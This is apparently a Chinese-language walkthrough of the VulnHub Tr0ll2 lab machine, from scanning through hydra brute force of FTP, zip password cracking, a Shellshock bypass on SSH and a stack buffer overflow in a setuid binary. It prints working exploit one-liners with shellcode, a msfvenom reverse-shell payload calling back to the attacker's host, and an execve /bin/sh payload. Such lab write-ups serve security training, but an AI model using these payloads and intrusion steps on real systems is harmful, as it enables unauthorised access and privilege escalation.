vulnhub靶场–Tr0ll2靶场
信息收集
主机发现
ifconfig 查看kali IP
nmap 192.168.17.0/24
kali:192.168.17.128
靶机192.168.17.131
端口扫描
nmap -sS -A -sV 192.168.17.131 -p-
目录扫描
dirb http://192.168.17.131
dirsearch -u http://192.168.17.131:80
http://192.168.17.131/robots.txt
noob nope try harder keep trying isnt this annoying nothing here
404LOL at the last one trolling is fun zomg is this it you found me I know this sucks You could give up
dont botherwill it ever end I hope you scripted this ok this is it stop whining why are you still looking just quit seriously stop
不,不,再努力点,继续努力,这不是很烦人吗
404LOL,最后一个 喷子很有趣,是这个吗你找到我了我知道这很糟糕你可以放弃
别麻烦了,它会结束吗?我希望你已经写好了,好了,就这样了,别再抱怨了,你为什么还在看,真的,退出吧,停止
然后访问有内容的是noob ok_this_is_it dont_bother keep_trying/
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XsHdJ6Jk-1669530459722)(C:\Users\嘿嘿也不太行\AppData\Roaming\Typora\typora-user-images\image-20221028151746182.png)]
中间件
whatweb 192.168.17.131
信息收集信息整理
端口及服务
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
目录方面感觉没有什么突破
威胁建模
看看有没有服务漏洞
vsftpd 2.0.8没有
没有服务漏洞,于是我把index下的图片和可以访问的目录的图片都下载下来啦(strings)看看能不能有什么方向
在strings dont_bother.jpg 看到啦不太一样的东西应该是目录
Look Deep within y0ur_self for the answer
渗透攻击
访问192.168.17.131/ y0ur_self
这个文件看着感觉很像base64加密的
下载解密
查看解密文件
怎么说呢感觉很像那种用户名然后就有点思路断啦为什么要给一个这样的东西
想起昨天的Tr0ll-1我是想着尝试用刚刚的字典爆破21 22端口试一试
hydra 192.168.17.131 -s 21 ftp -L jiemi.txt -P jiemi.txt -V
Tr0ll /Tr0ll登录ftp服务,看到有一个lmao.zip压缩包先下载下来
ftp 192.168.17.131
Fcrackzip是一款专门破解zip类型压缩文件密码的工具,工具小巧方便、破解速度快,能使用字典和指定字符集破解,适用于linux、mac osx 系统。
-u 用zip去尝试
-D 使用字典
-p 使用字符串作为初始密码/文件
fcrackzip -u -D -p jiemi.txt lmao.zip
密码是ItCantReallyBeThisEasyRightLOL
哦~这是一个RSA私钥有一个私钥直接猜用户名noob或LOL因为刚那个压缩包里一开始的可以访问的目录里都有noob和LOL
之前没有使用过SSH rsa私钥连接
SSH服务详解(二)–使用私钥登录 SSH 服务器(免密登录)_ssh_tyustli-DevPress官方社区 (csdn.net)
ssh -i .\noob noob@192.168.17.131
可是他问我要密码耶~
然后看啦别的师傅的文章
shellshock攻击
什么是ShellShock攻击? - 知乎 (zhihu.com)
ssh noob@192.168.17.131 -i noob -t ‘() { :;}; /bin/bash’
连接上啦
OMG没有找到可以使用的方法~
Good job, stand by, executing root shell…
BUHAHAHA NOOB!
noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door2$
Broadcast message from noob@Tr0ll2
(/dev/pts/0) at 7:40 …
The system is going down for reboot NOW!
2 MINUTE HARD MODE LOL
door1下的r00t会在执行后短时间内不可以ls应该是两分钟因为doot3 r00tde 结果说高难度模式2分钟
door2 下的r00t会退出ssh
可以看到这3个r00t会相互变化
存在strcpy复制函数
然后使用插件
因为我当时复制时忘漏啦第一个A所以应该是第268位
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-65gYq0zo-1669530459728)(C:\Users\嘿嘿也不太行\AppData\Roaming\Typora\typora-user-images\image-20221028232512509.png)]
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8AHEIHEIHH
EIHH esp覆盖,而HEIH是覆盖了返回地址。
因此我们可以的出结论,我们需要构造268个字符,将esp位置放在268个字符之后,这样esp位置就存在了返回地址的栈里,并在esp字符之后加入shellcode,这样完成了对缓冲区溢出的利用。
268字符+esp+shellcodo
env - /nothing_to_see_here/choose_wisely/door3/r00t $(python -c ‘print “Z”*268 + “\x80\xfb\xff\xbf” + “\x90”*16 + “\xba\x97\x4a\x6c\x2d\xda\xce\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x1f\x31\x50\x15\x03\x50\x15\x83\xe8\xfc\xe2\x62\x20\x66\x73\xbd\x6e\x81\x68\xee\xd3\x3d\x05\x12\x64\xa7\x50\xf3\x49\xa8\xf4\xa8\x39\x69\x52\x5f\x3a\x01\xa1\x5f\x2f\x0d\x2c\xbe\x25\xd7\x77\x10\xeb\x40\x01\x71\x48\xa2\x91\xf4\x8f\x45\x8b\xb8\x7b\x8b\xc3\xe6\x84\xf3\x13\xbe\xee\xf3\x79\x3b\x66\x10\x4c\x8a\xb5\x57\x2a\xcc\x3f\xe5\xde\xeb\x0d\x12\x98\xf3\x61\x1d\xda\x7a\x62\xdc\x31\x70\xa4\x3c\xc9\x38\x5b\x0e\x52\xbd\x64\xe8\x43\xe6\xed\xe8\xfd\xaa\xca\x5a\xfe\x07\x92\x1e\xc1\xef\x91\xdf\x23\xb7\x97\x1f\xa4\xc7\x2c\x1e\xa4\xc7\x52\xec\x24”’)
env - /nothing_to_see_here/choose_wisely/door3/r00t $(python -c 'print "A"*268 + "\x80\xfc\xff\xbf" + "\x90"*16 + "\xba\x97\x4a\x6c\x2d\xda\xce\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x1f\x31\x50\x15\x03\x50\x15\x83\xe8\xfc\xe2\x62\x20\x66\x73\xbd\x6e\x81\x68\xee\xd3\x3d\x05\x12\x64\xa7\x50\xf3\x49\xa8\xf4\xa8\x39\x69\x52\x5f\x3a\x01\xa1\x5f\x2f\x0d\x2c\xbe\x25\xd7\x77\x10\xeb\x40\x01\x71\x48\xa2\x91\xf4\x8f\x45\x8b\xb8\x7b\x8b\xc3\xe6\x84\xf3\x13\xbe\xee\xf3\x79\x3b\x66\x10\x4c\x8a\xb5\x57\x2a\xcc\x3f\xe5\xde\xeb\x0d\x12\x98\xf3\x61\x1d\xda\x7a\x62\xdc\x31\x70\xa4\x3c\xc9\x38\x5b\x0e\x52\xbd\x64\xe8\x43\xe6\xed\xe8\xfd\xaa\xca\x5a\xfe\x07\x92\x1e\xc1\xef\x91\xdf\x23\xb7\x97\x1f\xa4\xc7\x2c\x1e\xa4\xc7\x52\xec\x24"')
shellcode是通过msfvenom制作的一个反弹shell
msfvenom -p linux/x86/shell/reverse_tcp LHOSTS=192.168.17.128 LPORT=5599 -b “\x00\x0a\x0” -f python
od -S 1 /nothing_to_see_here/choose_wisely/door1/r00t
od -S 1 /nothing_to_see_here/choose_wisely/door2/r00t
od -S 1 /nothing_to_see_here/choose_wisely/door3/r00t
后渗透攻击
ssh连接后使用师傅的shell直接反弹
env - /nothing_to_see_here/choose_wisely/door3/r00t $(python -c ‘print “A”*268 + “\x80\xfc\xff\xbf” + “\x90”*16 + “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80”’)